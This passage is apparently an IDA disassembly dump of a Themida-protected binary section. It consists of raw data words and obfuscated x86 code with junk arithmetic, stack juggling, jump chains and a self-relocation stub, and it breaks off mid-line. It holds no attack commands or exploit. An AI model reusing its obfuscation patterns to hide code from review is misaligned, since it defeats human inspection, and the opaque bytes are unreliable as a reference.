2C850F05h, 1000000h, 0E42339BDh, 7C7E907h, 6A0000h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h dd 388ED7C3h, 83F1FD27h, 850F06F8h, 26h, 22518529h, 0BD8D07E4h dd 7E44B8Dh, 0C810Fh, 890F0000h, 6, 1901958Bh, 6CE907E4h dd 80000000h, 0F88367DAh, 39850F07h, 8B000000h, 0E406619Dh dd 59BD8D07h, 6A07E433h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 14042444h, 40000000h, 8BE3C350h, 0E4019195h dd 0E7E907h, 958B0000h, 7E42469h, 0F0AF883h, 1E85h, 16BB6600h dd 85BD8DFCh, 5607E44Dh, 0CE95AF8h, 0F000000h, 688h, 91958B00h dd 5707E423h, 30B9D88Bh, 8046DBE5h, 3F83ABE6h, 9F840F00h dd 29000000h, 0E408CD9Dh, 6A0F3007h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 21A0C356h dd 0DF8BAC0Eh, 6AC9D1h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 180424h, 56460000h, 0EBD02FC3h, 6A472FB1h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h dd 89E4C357h, 0E431D18Dh, 0FF84E907h, 6AFFFFh, 3E850h dd 58200000h, 448958C3h, 44810424h, 180424h, 50400000h dd 990F33C3h, 958BAAE2h, 7E41D7Dh, 1259D8Bh, 895F07E4h dd 0E4264DB5h, 81BD8907h, 8B07E44Fh, 0E4036D95h, 0C18D8D07h dd 6A07E430h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1A042444h, 41000000h, 62C351h, 0CB344314h, 65B5FFC8h dd 8B07E416h, 0E41DF59Dh, 0D6858D07h, 5007E6DBh, 56EBBD8Dh dd 8D8D07E4h, 7E46F50h, 831ABCB8h, 30CF2B54h, 47C8D007h dd 8DF87549h, 0E46EEFB5h, 688D8D07h, 2B07E46Fh, 33A4F3CFh dd 0B8C9h, 0C00B0000h, 0BD834674h, 7E42471h, 0FF067400h dd 0E41F9195h, 81B58B07h, 8D07E44Fh, 0E6DBD685h, 8DD0FF07h dd 0E443E785h, 0C7D0FF07h, 0E40E6585h, 107h, 49A58B00h dd 8B07E406h, 0E40F11B5h, 71AD8B07h, 3307E412h, 0CC2C0h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 3C35040h dd 0D22F725Bh dd 6AF8F8h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h dd 55450000h, 441CD7C3h, 1DBD83B8h, 7E423h, 19840Fh, 0BA600000h dd 1C7F0834h, 27AD8D03h, 0FF6107E4h, 0E421E195h, 559D8B07h dd 8307E416h, 0E4038DBDh, 850F0007h, 27Ch, 8303C680h, 0E42015BDh dd 850F0107h, 26Ch, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Bh, 0DEC35040h, 3CE809BDh, 0BBCABEBBh, 7C6DDD91h dd 0AD9BD83h, 0F0007E4h, 23784h, 0FD78B00h, 684h, 0A59D0100h dd 8307E431h, 0E44FD4BDh, 840F0007h, 21Ch, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 5EC35141h, 2C05958Bh dd 0E95607E4h, 0Fh, 0A1583351h, 71B43060h, 795305D9h, 5BE24DDAh dd 0DBD6858Dh, 8D8907E6h, 7E42AE1h, 32958D29h, 0B58B07E4h dd 7E44F81h, 5E4CBA66h, 6AD0FFh, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1D0424h, 51410000h, 0B3DCAC3h, 0CBDF4545h dd 0C654CDD5h, 0E42C2D85h, 66605407h, 0A039EF81h, 18DD9529h dd 0E86107E4h, 4, 0FF4EBEF4h, 629EBB60h, 94BF51E3h, 61258674h dd 9E95650h, 0C8000000h, 4DA818F5h, 4313CEB8h, 24448B5Ah dd 8BD88B04h, 19840F00h, 0E9000000h, 14h, 5673206Bh, 6D142ACAh dd 835ABC38h, 5EE80BBAh, 7D99336h, 4244489h, 51006A58h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h dd 0DABFA2BDh, 5D33C453h, 0BD295167h, 7E40669h, 19DB5FFh dd 0F85707E4h, 0D8B70F5Ah, 3BDC858Dh, 6A07E4h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h dd 81360CC3h, 329DCC22h, 9D23B80Ah, 7E419CDh, 1CBBD0FFh dd 0F397708h, 68Ch, 7DBD2900h, 6A07E42Ah, 55006A00h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h dd 0B138289Fh, 10E8h, 23184600h, 7F63214Fh, 7417D3BCh dd 806756A6h, 5D958BF2h, 5B07E418h, 0D08BFF6Ah, 6E98501h dd 0D0FF07E4h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 18h, 0F3C35545h, 7D280A42h, 0D81958Bh, 0B5FF07E4h, 7E403ADh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 9CC35040h dd 84496616h, 4059A42Eh, 95FFD08Bh, 7E41665h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0E7C35747h, 0E1E874F1h dd 4F81B58Bh, 0C3F907E4h, 2DD5B531h, 0B58B07E4h, 7E41EB5h dd 66E38166h, 0FF60B9Ch, 3584h, 0EE900h, 29150000h, 0DA2A9865h dd 6CB4FD50h, 81873931h, 6A0006C6h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 65B7C353h dd 85894246h, 7E44F89h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 15h, 0C9C35242h, 1F830F22h, 0E8000000h, 0Ch dd 0A115614Eh, 8876EDBBh, 0FE855B3Ch, 7E8h, 0AD49F100h dd 47248D34h, 0F8835B5Bh, 0BD840F00h, 6A000002h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h dd 76B3C356h, 0E18BBB66h, 0B8D48Ah, 8B000000h, 0F883D3h dd 71840Fh, 83F80000h, 850F02F8h, 37h, 1F198D89h, 858D07E4h dd 7E44604h, 16AD9589h, 292D07E4h, 3000009h, 0E4251195h dd 66609007h, 66864CBFh, 5061CB8Bh, 90D98B66h, 0DC8ABA66h dd 0F19D8BC3h, 0B807E420h, 0 dd 2511BD89h, 39E907E4h, 6A000002h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 0AA94C356h dd 0B8FC4A8Dh, 1, 4609BD8Dh, 816607E4h, 0E980A0E3h, 0E4h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 45C35242h dd 0BB667BD4h, 0F883E63Ah, 78850F02h, 6A000000h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h dd 0E41C351h, 3E97668Ch, 20BF883Fh, 0DE9h, 48F13300h, 0A4B75839h dd 83402F90h, 8B66E898h, 1BD8DDAh, 0E907E448h, 74h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 74C35141h, 623013Bh dd 958B0259h, 7E41F3Dh, 5830Fh, 81660000h, 835CF0E3h, 850F03F8h dd 1Dh, 0AD87BA66h, 4995BD8Dh, 8B6607E4h, 26E9D3h, 6E90000h dd 0E000000h, 7C3B613Ch, 5F883E7h, 12850Fh, 6E90000h, 0A5000000h dd 0D331A6A9h, 5FE9BAh, 0F5B60000h, 0DA816657h, 30B98B1Fh dd 8946DBE5h, 0E4047985h, 3F8307h, 43840Fh, 0E9600000h dd 13h, 0AA12A9A9h, 3754FB5Bh, 0AC0C6633h, 32D0A030h, 0F1E42FFh dd 2961C1B7h, 0E41C45B5h, 0F0F3007h, 0C9D1DEB7h, 297CE380h dd 0E41F05BDh, 0E9F84707h, 0FFFFFFBDh, 317BCA80h, 0E416898Dh dd 5F88307h, 0BA850Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 180424h, 52420000h, 1D58EFC3h, 9589AFD5h dd 7E42EC5h, 6880Fh, 8D890000h, 7E4063Dh, 80D98C66h, 0C1F679EEh dd 55850F04h, 0E8000000h, 8, 63F439ACh, 0F6ED3B20h, 26518589h dd 0B85A07E4h, 0 dd 0A2BCBA51h, 0E95B1CE9h, 54h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Bh, 0F4C35545h, 982A6629h, 8B242229h dd 1DBD31DFh, 6607E404h, 0BCA9CA81h, 3571858Bh, 0FFFC07E4h dd 499D8BE0h, 0E907E433h, 10h, 0B9696939h, 0CE9B2838h dd 107EA68Ch, 5538BCB6h, 1665BD83h, 0F0007E4h, 10585h dd 68D0F00h, 89000000h, 0E4050995h, 13E95007h, 4A000000h dd 6755DCE4h, 43A5E3D9h, 4F6DF597h, 6DBE944Bh, 489290Ah dd 11E924h, 0E2DA0000h, 0A05237EDh, 0E4A0C4A2h, 8D40D9B2h dd 81B4E9F8h, 0A90D1CAh, 2D85C647h, 4507E42Ch, 68DAB70Fh dd 0EA730B37h, 0D68B5250h, 8B66310Fh, 81585AD3h, 625E2434h dd 95896401h, 7E41CFDh, 19DB5FFh, 0B58907E4h, 7E42C59h dd 3860Fh, 8B660000h, 0DC858DDFh, 8107E43Bh, 8CB911DAh dd 0FE935h, 80C50000h, 0E9CC0A0h, 0A09BCA81h, 8892B95h dd 81D0FF86h, 0D6277DEBh, 897BB304h, 0E4166585h, 56006A07h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h dd 0C05AE358h, 2569958Bh, 0DB8107E4h, 853CF18h, 50006A58h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h dd 594F4BC8h, 2FAB4549h, 0A698BAB5h, 0BD832657h, 7E44FD8h dd 51840F00h, 89000000h, 0E41B99B5h, 0ADB5FF07h, 6A07E403h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1B042444h dd 46000000h, 0B685C356h, 8CA18C1Fh, 95FFC483h, 7E41665h dd 1AA9958Bh, 11E907E4h, 0C8000000h, 0CA8D2A7Dh, 718B72BFh dd 3FF26266h, 38A766DCh, 0F00F883h, 0BD85h, 6E900h, 0F4040000h dd 6AD8FD4Ch, 6B9BD83h, 0F0007E4h, 5784h, 50006A00h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h dd 0CFA88A3Dh, 0BBD3B70Fh, 7549DCA6h, 6B9B5FFh, 9D0107E4h dd 7E41449h, 1B8h, 0FE900h, 0C22E0000h, 0A4880E05h, 0DE3D2F03h dd 7A5DAC87h, 19BE94Eh, 958B0000h, 7E405ADh, 3ADB5FFh dd 895207E4h, 0E403458Dh, 0B5FF5A07h, 7E403ADh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 0E2C35141h, 65B5FF2Ah dd 8907E416h, 0E4180595h, 153E907h, 958B0000h, 7E405A1h dd 160D9D89h, 575F07E4h, 26DD958Bh, 835A07E4h, 0E42161BDh dd 850F0007h, 72h, 28B0Fh, 0DA8B0000h, 24D99D89h, 85C607E4h dd 7E42C2Dh, 38D0F4Dh, 80000000h, 0E36870E6h, 0B29CB8F3h dd 243481D2h, 388D854Bh, 0FF93D280h, 0E41DE1B5h, 57006A07h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h dd 665D8A20h, 7C1DA81h, 3BDC858Dh, 858907E4h, 7E41AA1h dd 0BB66D0FFh, 85890B51h, 7E42161h, 0B8D8B6h, 0FC000000h dd 4F81BD89h, 6A07E4h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 160424h, 52420000h, 9DFBC2C3h, 16840Fh, 0E9600000h dd 0Fh, 7FAD8297h, 7F53A386h, 1B4CEA2Ch, 61AEF8ECh, 840FC00Bh dd 25h, 0E9D2BF0Fh, 69h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 15h, 1C35040h, 65B5FFFFh, 307E416h, 0E405719Dh dd 0D6858D07h, 6A07E6DBh, 3E85000h, 20000000h, 8958C358h dd 81042444h, 19042444h, 40000000h, 0EC37C350h, 3988E994h dd 0EE96050h, 65000000h, 9A8B2D48h, 867350B0h, 0F877345Fh dd 4896193h, 8D565024h, 0E456EBBDh, 9F8D8D07h, 0B807E479h dd 748323BCh, 730CF2Bh, 4947C8D0h, 585EF875h, 6B9BD83h dd 740007E4h, 0A58D8B06h, 3307E41Ah, 0B8C9h, 0C00B0000h dd 0A8840Fh, 0BD830000h, 7E42471h, 0FF067400h, 0E41F9195h dd 0B807h, 0C00B0000h, 0BD830975h, 7E44F89h, 83097401h dd 0E44F89BDh, 0E750207h, 4F81B58Bh, 858D07E4h, 7E6DBD6h dd 0BD83D0FFh, 7E4231Dh, 0FF067400h, 0E421E195h, 0E7858D07h dd 0FF07E443h, 11BD83D0h, 207E40Bh, 0A58B2F75h, 7E40649h dd 6B9858Bh, 48907E4h, 6585C724h, 107E40Eh, 8B000000h dd 0E44F85B5h, 71AD8B07h, 0B807E412h, 1, 0EB000CC2h, 6585C700h dd 107E40Eh, 8B000000h, 0E40649A5h, 11B58B07h, 8B07E40Fh dd 0E41271ADh, 0C2C03307h, 0BD83000Ch, 7E4231Dh, 830F7400h dd 0E421E1BDh, 6740007h, 21E195FFh, 0B58B07E4h, 7E44F81h dd 52006AC3h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h dd 0C3524200h, 457D8578h, 0EBF28166h, 29958977h, 0BA07E42Ch dd 0 db 66h, 8Bh, 0DEh ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push edi push edx push esi mov edi, [ebp+8] xor eax, eax jmp short loc_589F5B ; --------------------------------------------------------------------------- loc_589F59: ; CODE XREF: Themida_:00589F5Ej inc eax inc edi loc_589F5B: ; CODE XREF: Themida_:00589F57j cmp byte ptr [edi], 0 jnz short loc_589F59 xor ecx, ecx mov edi, [ebp+8] jmp short loc_589F8A ; --------------------------------------------------------------------------- loc_589F67: ; CODE XREF: Themida_:00589F8Cj xor edx, edx mov dl, [edi] sub dl, 30h mov esi, eax dec esi push eax mov eax, edx push ebx mov ebx, 0Ah jmp short loc_589F7F ; --------------------------------------------------------------------------- loc_589F7C: ; CODE XREF: Themida_:00589F82j mul ebx dec esi loc_589F7F: ; CODE XREF: Themida_:00589F7Aj cmp esi, 0 ja short loc_589F7C pop ebx add ecx, eax pop eax inc edi dec eax loc_589F8A: ; CODE XREF: Themida_:00589F65j or eax, eax jnz short loc_589F67 mov eax, ecx pop esi pop edx pop edi pop ecx leave retn 4 ; --------------------------------------------------------------------------- dd 14D9D8Bh, 0D08B07E4h, 0EEE9C18Bh, 0F4000255h, 1B0012FEh dd 0E0006087h, 1B0012FFh, 2B006087h, 1B00606Dh, 23026D00h dd 12026D00h, 2000002h, 2 dup(1000000h), 8B000000h, 0F87424h dd 4 dup(0) dd 27000000h, 180058FAh, 0D70058D8h, 34005977h, 2D0058F0h dd 4D00594Fh, 5A00590Ah, 2000591Eh, 360058CEh, 60005936h dd 7D005934h, 370058B9h, 0A50058D6h, 5100593Bh, 0E0005906h dd 0B00596Dh, 73005941h, 80058BEh, 0CF005929h, 1400593Dh dd 0DB0058B0h, 0AB005944h, 7E0058CBh, 580058A9h, 0B60058E0h dd 0AE005907h, 0D7005934h, 0E8005938h, 0E20058E6h, 0DA00595Eh dd 600593Fh, 0DE0058E1h, 920058CDh, 2F0058F5h, 6600596Ah dd 600058CEh, 8D005916h, 0AE005977h, 2F0058B2h, 1E0058CDh dd 0EA0058F1h, 1D00593Fh, 870058B1h, 2200594Fh, 6200595Fh dd 0F000594Fh, 0E90058E7h, 580058FBh, 77005900h, 24005976h dd 210058B0h, 0DC005915h, 0B800597Eh, 6D005950h, 8500593Fh dd 410058ADh, 270058D2h, 5100596Fh, 0B700591Dh, 0A900590Ch dd 5A00592Fh, 0CA0058E6h, 0CD0058EFh, 63005944h, 0F300594Ch dd 70058ABh, 2D0058E2h, 8F0058C0h, 2A00596Ch, 0ED0058C2h dd 0C500593Dh, 0DC005930h, 560058A4h, 0C2005969h, 140058BBh dd 0F800596Dh, 5F005941h, 280058FDh, 40058DFh, 0E700594Ah dd 0A0005901h, 8900590Fh, 4F0058A6h, 15005908h, 0F80058A4h dd 890058BFh, 320058C7h, 450058FCh, 5E0058DBh, 0D800592Eh dd 0D1005971h, 480058C4h, 0B1005917h, 0A70058FAh, 0BF0058CFh dd 2500590Eh, 930058F6h, 0DC005968h, 0DD005918h, 4D005904h dd 9A005939h, 21005931h, 4100593Dh, 5300595Ah, 0D1005963h dd 8E0058A9h, 0CF0058F9h, 95005912h, 0FB0058F9h, 5F00594Eh dd 0D00058DEh, 5D00596Fh, 95005915h, 0AB0058D1h, 0A10058C6h dd 5D005920h, 50058B1h, 790058E7h, 7600596Ah, 8B0058D0h dd 0A1005919h, 990058E7h, 49005953h, 760058DAh, 7A00595Bh dd 7F0058FAh, 7F0058EAh, 0D7005952h, 0DA0058E7h, 0F400593Ch dd 740058F4h, 9B005907h, 73005938h, 6A0058F3h, 0AF0058BAh dd 0C900594Fh, 590058C1h, 4C00591Dh, 0D200592Bh, 9300593Fh dd 3600593Ah, 0E005908h, 4F005914h, 710058E5h, 740058DDh dd 54005909h, 90058AAh, 4D005917h, 37005961h, 73005917h dd 0FB005958h, 0D0005920h, 10005932h, 880058AAh, 0A40058E1h dd 80058BAh, 120058D7h, 0F8005934h, 760058E8h, 6E0058C9h dd 0D400593Bh, 0C00058D3h, 780058C1h, 46005972h, 2A0058D5h dd 0AB0058E5h, 860058D6h db 39h, 59h, 0 ; --------------------------------------------------------------------------- loc_58A287: ; CODE XREF: Themida_:005BD0C6j ; Themida_:005C0957j ... pusha pushf cld call $+5 pop edi sub edi, 7E47E04h mov eax, edi add edi, 7E47B1Ch cmp eax, [edi+2Ch] jnz short loc_58A2A5 jmp short loc_58A2B8 ; --------------------------------------------------------------------------- loc_58A2A5: ; CODE XREF: Themida_:0058A2A1j mov [edi+2Ch], eax mov ecx, 0A7h jmp short loc_58A2B4 ; --------------------------------------------------------------------------- loc_58A2AF: ; CODE XREF: Themida_:0058A2B6j add [edi+ecx*4+40h], eax dec ecx loc_58A2B4: ; CODE XREF: Themida_:0058A2ADj or ecx, ecx jnz short loc_58A2AF loc_58A2B8: ; CODE XREF: Themida_:0058A2A3j mov esi, [esp+24h] mov ebx, esi add esi, eax mov ecx, 1 loc_58A2C5: ; CODE XREF: Themida_:0058A2CCj xor eax, eax lock cmpxchg [edi+30h], ecx jnz short loc_58A2C5 loc_58A2CE: ; CODE XREF: Themida_:0058A691j ; Themida_:loc_58A801j ... lodsb jmp loc_5963AE ; --------------------------------------------------------------------------- dd 8B1C7709h, 89562434h, 4C681E6h, 0E9000000h, 0CD7h, 4C481h dd 9BE90000h, 8B00001Ch, 34FF2424h, 2434FF24h, 2602E959h dd 3C8B0000h, 0EEA6824h, 14890000h, 0E9E28924h, 14AAh ; --------------------------------------------------------------------------- loc_58A314: ; CODE XREF: Themida_:005977BEj xchg ebp, [esp] mov esp, [esp] imul cl movzx cx, ah push 500h mov [esp], ecx push esp mov ecx, [esp] add esp, 4 push ebx jmp loc_5927C2 ; --------------------------------------------------------------------------- loc_58A338: ; CODE XREF: Themida_:005973A4j or ecx, ecx jz loc_58D6EF push eax mov eax, esp add eax, 4 sub eax, 4 jmp loc_59665C ; --------------------------------------------------------------------------- dd 4BAh, 84B85000h, 2D6A3872h, 50894668h, 0E958C729h, 1691h dd 2B850h, 0C2890000h, 5AD08958h, 575AC681h, 0C62965DAh dd 575AEE81h, 875865DAh, 248B2434h, 4896624h, 0FF3CE924h dd 88BEFFFFh, 29F757FAh, 17BFE9F3h, 0F9010000h, 240C875Fh dd 0CD58E9h, 24348700h, 6624248Bh, 5124048Bh, 78C6E9h db 0 ; --------------------------------------------------------------------------- loc_58A3B9: ; CODE XREF: Themida_:00597AF3j push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], ebp mov ebp, 3C092462h mov esi, 27365E11h xor esi, ebp jmp loc_59769A ; --------------------------------------------------------------------------- loc_58A3E0: ; CODE XREF: Themida_:00593C47j add esi, 0A617000h add esi, ecx sub esi, 0A617000h mov ecx, [esp] add esp, 4 jmp loc_5957BA ; --------------------------------------------------------------------------- dd 29CDED81h, 0F5295931h, 29CDC581h, 79E95931h db 0CEh, 2 dup(0) ; --------------------------------------------------------------------------- loc_58A40F: ; CODE XREF: Themida_:00591844j pop esi jmp loc_58FEF5 ; --------------------------------------------------------------------------- db 0ACh, 4, 34h dd 2C12B151h, 4C8289Dh, 0D828599Dh, 62E95153h db 0C6h, 2 dup(0) ; --------------------------------------------------------------------------- loc_58A42B: ; CODE XREF: Themida_:0058FEC4j add ecx, esi sub ecx, 0A575744h mov esi, [esp] add esp, 4 push eax sub esp, 4 mov [esp], esi push 3F740E7h pop esi mov eax, 3F740EBh sub eax, esi pop esi and ecx, eax push dword ptr [esp] pop eax push eax jmp loc_58D116 ; --------------------------------------------------------------------------- loc_58A45D: ; CODE XREF: Themida_:00597C50j mov ecx, [esp] jmp loc_5933AE ; --------------------------------------------------------------------------- db 59h, 52h, 0BAh dd 2, 575AD701h, 0A012E9h db 0 ; --------------------------------------------------------------------------- loc_58A475: ; CODE XREF: Themida_:00595EDDj mov [esp], ebp mov ebp, esp push ebx mov ebx, 4 add ebp, ebx pop ebx push edx push esi push 1DF47593h pop esi shr esi, 4 sub esi, 1DF4755h push ecx mov ecx, esi mov edx, ecx pop ecx push dword ptr [esp] pop esi add esp, 4 sub ebp, 49E64C75h sub ebp, edx jmp loc_59370C ; --------------------------------------------------------------------------- loc_58A4AE: ; CODE XREF: Themida_:0059741Cj sub ecx, edi pop edi jmp loc_58D4D4 ; --------------------------------------------------------------------------- aPs db '[PιμΘ',0 db 0 ; --------------------------------------------------------------------------- loc_58A4BD: ; CODE XREF: Themida_:0059218Fj push 254Eh mov [esp], ebp mov ebp, 4 jmp loc_58ED9C ; --------------------------------------------------------------------------- loc_58A4CF: ; CODE XREF: Themida_:00593707j xchg ecx, [esp] pop esp mov [esp], eax push ecx jmp loc_58EDC9 ; --------------------------------------------------------------------------- dd 81D831ADh, 4ECh, 7F2CE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_58A4EA: ; CODE XREF: Themida_:005959CBj pop eax push esi mov esi, 0AA364E0h jmp loc_591D30 ; --------------------------------------------------------------------------- dw 0D366h dd 0E99C2404h, 0FFFFFDCEh, 0E9D8B450h, 1231h, 798DBA52h dd 0C2816E77h, 5786A1Ah, 3B26E281h, 0EA810E19h, 0A2AC0B68h dd 4F18E9h, 0C4A6800h, 0E9581D9Dh, 8883h ; --------------------------------------------------------------------------- loc_58A530: ; CODE XREF: Themida_:0058D356j and bl, dl pop dx sub bl, 24h add al, 0D2h add al, bl push bx mov bh, 0D2h sub al, bh pop bx mov ebx, [esp] add esp, 4 push ebx jmp loc_595934 ; --------------------------------------------------------------------------- db 1 dd 0CFE981E9h, 5D387F67h, 31240C33h, 0C33240Ch, 24248B24h dd 0AC69E9h db 0 ; --------------------------------------------------------------------------- loc_58A569: ; CODE XREF: Themida_:0058CBE8j or edx, eax jmp loc_597E7F ; --------------------------------------------------------------------------- dd 31240433h, 4332404h, 48B5C24h, 4EC8124h, 89000000h dd 0E189240Ch, 3F2BE953h db 2 dup(0) ; --------------------------------------------------------------------------- loc_58A58E: ; CODE XREF: Themida_:0058D864j sub ah, 64h jmp loc_58CC2F ; --------------------------------------------------------------------------- dw 33E9h db 0FDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58A59B: ; CODE XREF: Themida_:005911F1j shr esi, 3 push edx mov edx, 0F9C6E2F4h add esi, edx mov edx, [esp] add esp, 4 push ebx mov ebx, esi mov eax, ebx jmp loc_58FC82 ; --------------------------------------------------------------------------- db 68h, 43h, 36h dd 0C890000h, 68595424h, 7F77h, 0BF243C89h, 2CA148Dh, 0EB77C781h dd 0F901FD35h, 59BE565Fh, 0E901406Bh, 900Bh ; --------------------------------------------------------------------------- loc_58A5E4: ; CODE XREF: Themida_:00592242j pop dword ptr [edi+24h] push eax mov eax, 5DB64E91h jmp loc_591787 ; --------------------------------------------------------------------------- dw 0F001h dd 4EC81h, 2C890000h, 0F7BA5224h, 8917962Ah, 564E9D5h dd 84680000h, 8900000Ah, 3BE9241Ch db 4Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_58A617: ; CODE XREF: Themida_:005957A8j add ecx, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] pop esp jmp loc_590649 ; --------------------------------------------------------------------------- loc_58A629: ; CODE XREF: Themida_:0058FACCj push edi push 3086h mov [esp], edx push ebp jmp loc_5951EE ; --------------------------------------------------------------------------- dd 4C481h, 71680000h, 89000022h, 74FF241Ch, 8F5B0424h dd 0BFE92404h db 0Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_58A653: ; CODE XREF: Themida_:00597729j and ebp, 0BAE571Ch jmp loc_595655 ; --------------------------------------------------------------------------- loc_58A65E: ; CODE XREF: Themida_:00595BBFj neg edx push esi mov esi, 0EAB4AF9h sub edx, 66D76958h add edx, esi add edx, 66D76958h pop esi push 3BB7h mov [esp], ecx mov ecx, 620A1BF4h or edx, ecx jmp loc_59594F ; --------------------------------------------------------------------------- loc_58A689: ; CODE XREF: Themida_:0058F930j push 4FF0h mov [esp], edx jmp loc_58A2CE ; --------------------------------------------------------------------------- dw 0CF81h dd 0FD37D82h, 5FA668h, 24148900h, 0CC394EBAh, 0A4E28117h dd 0E925F72Dh, 0C2B5h ; --------------------------------------------------------------------------- loc_58A6B4: ; CODE XREF: Themida_:00595F1Dj pop eax add eax, 6DD12502h jmp loc_593728 ; --------------------------------------------------------------------------- loc_58A6BF: ; CODE XREF: Themida_:0058F656j xchg ebp, [esp] pop esp mov [esp], ecx push ebx mov ebx, 4E03894h add ebx, 471C42F7h push ebp mov ebp, 20F658B4h sub ebp, 0AA410DC3h add ebx, ebp pop ebp sub ebx, 5BFC29BCh or ebx, 1B75370Fh sub esp, 4 mov [esp], ebp jmp loc_58D236 ; --------------------------------------------------------------------------- loc_58A6FB: ; CODE XREF: Themida_:0058CEBDj mov ebx, 4 add [esp+4], ebx pop ebx mov ebp, [esp] jmp loc_596042 ; --------------------------------------------------------------------------- loc_58A70D: ; CODE XREF: Themida_:0059277Fj push dword ptr [esp+4] pop eax jmp loc_59657E ; --------------------------------------------------------------------------- db 89h dd 4832424h, 0D0E90424h db 16h, 2 dup(0) ; --------------------------------------------------------------------------- loc_58A723: ; CODE XREF: Themida_:0059406Bj and ebp, 2E86331Eh or ebp, 400507A8h jnz loc_58B9BA shl ebp, 5 jmp loc_58D164 ; --------------------------------------------------------------------------- db 29h, 0D9h ; --------------------------------------------------------------------------- loc_58A73F: ; CODE XREF: Themida_:00592EC0j shl ecx, 6 shl ecx, 6 shr ecx, 4 jmp loc_58C945 ; --------------------------------------------------------------------------- db 55h, 0BDh, 44h dd 8176152Ch, 9E2CDAF5h, 33E58129h, 4535D651h, 13BA52h dd 0D5291582h, 96D7E9h db 0 ; --------------------------------------------------------------------------- loc_58A76D: ; CODE XREF: Themida_:0058BCA7j pop cx sub bl, 0D5h jmp loc_58D314 ; --------------------------------------------------------------------------- loc_58A777: ; CODE XREF: Themida_:005909FFj or ebp, 5C967C10h xor ebp, 0C24EC2BCh mov eax, ebp pop ebp sub eax, ebx pop ebx shl eax, 2 js loc_594307 push edi mov edi, 8DF9C78Eh jmp loc_596786 ; --------------------------------------------------------------------------- db 5Bh ; --------------------------------------------------------------------------- loc_58A79E: ; CODE XREF: Themida_:0058E655j pop esp mov ax, [esp] jmp loc_59772E ; --------------------------------------------------------------------------- loc_58A7A8: ; CODE XREF: Themida_:0058C5DBj mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], ebx mov ebx, 4 add ecx, ebx pop ebx jmp loc_59590E ; --------------------------------------------------------------------------- db 31h dd 0C33240Ch, 85665C24h, 0F7E99CC8h db 0FAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58A7D7: ; CODE XREF: Themida_:00594CAEj sub eax, 3E5A6B2Bh sub eax, 65647781h add eax, edi add eax, 65647781h jmp loc_5966B5 ; --------------------------------------------------------------------------- loc_58A7ED: ; CODE XREF: Themida_:00592D13j pop eax pop ebp and eax, 58EE63B2h jmp loc_58E11C ; --------------------------------------------------------------------------- loc_58A7F9: ; CODE XREF: Themida_:00596BB7j shr edi, 7 jmp loc_594C56 ; --------------------------------------------------------------------------- loc_58A801: ; CODE XREF: Themida_:00594296j jmp loc_58A2CE ; --------------------------------------------------------------------------- loc_58A806: ; CODE XREF: Themida_:00596BC5j add ebp, 30103AF3h jmp loc_5901F7 ; --------------------------------------------------------------------------- db 52h, 0BAh, 13h dd 0C1476E1Eh, 0C28108EAh, 0FFB891E6h, 835AD701h, 3C8704EFh dd 80D0E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_58A82E: ; CODE XREF: Themida_:00597F66j js loc_5951C7 or dl, 77h sub dl, 8Fh jmp loc_58B72C ; --------------------------------------------------------------------------- loc_58A83F: ; CODE XREF: Themida_:0059594Aj mov ebp, 78A8264Bh add ebp, 3A89551Dh jmp loc_597CF6 ; --------------------------------------------------------------------------- db 5Dh dd 6D23B850h, 0E0D138DAh, 20B6850Fh, 0F400000h, 44518Ah dd 0E3CE8000h ; --------------------------------------------------------------------------- loc_58A868: ; CODE XREF: Themida_:00593A8Ej shl eax, 8 shl eax, 7 jmp loc_5967BC ; --------------------------------------------------------------------------- db 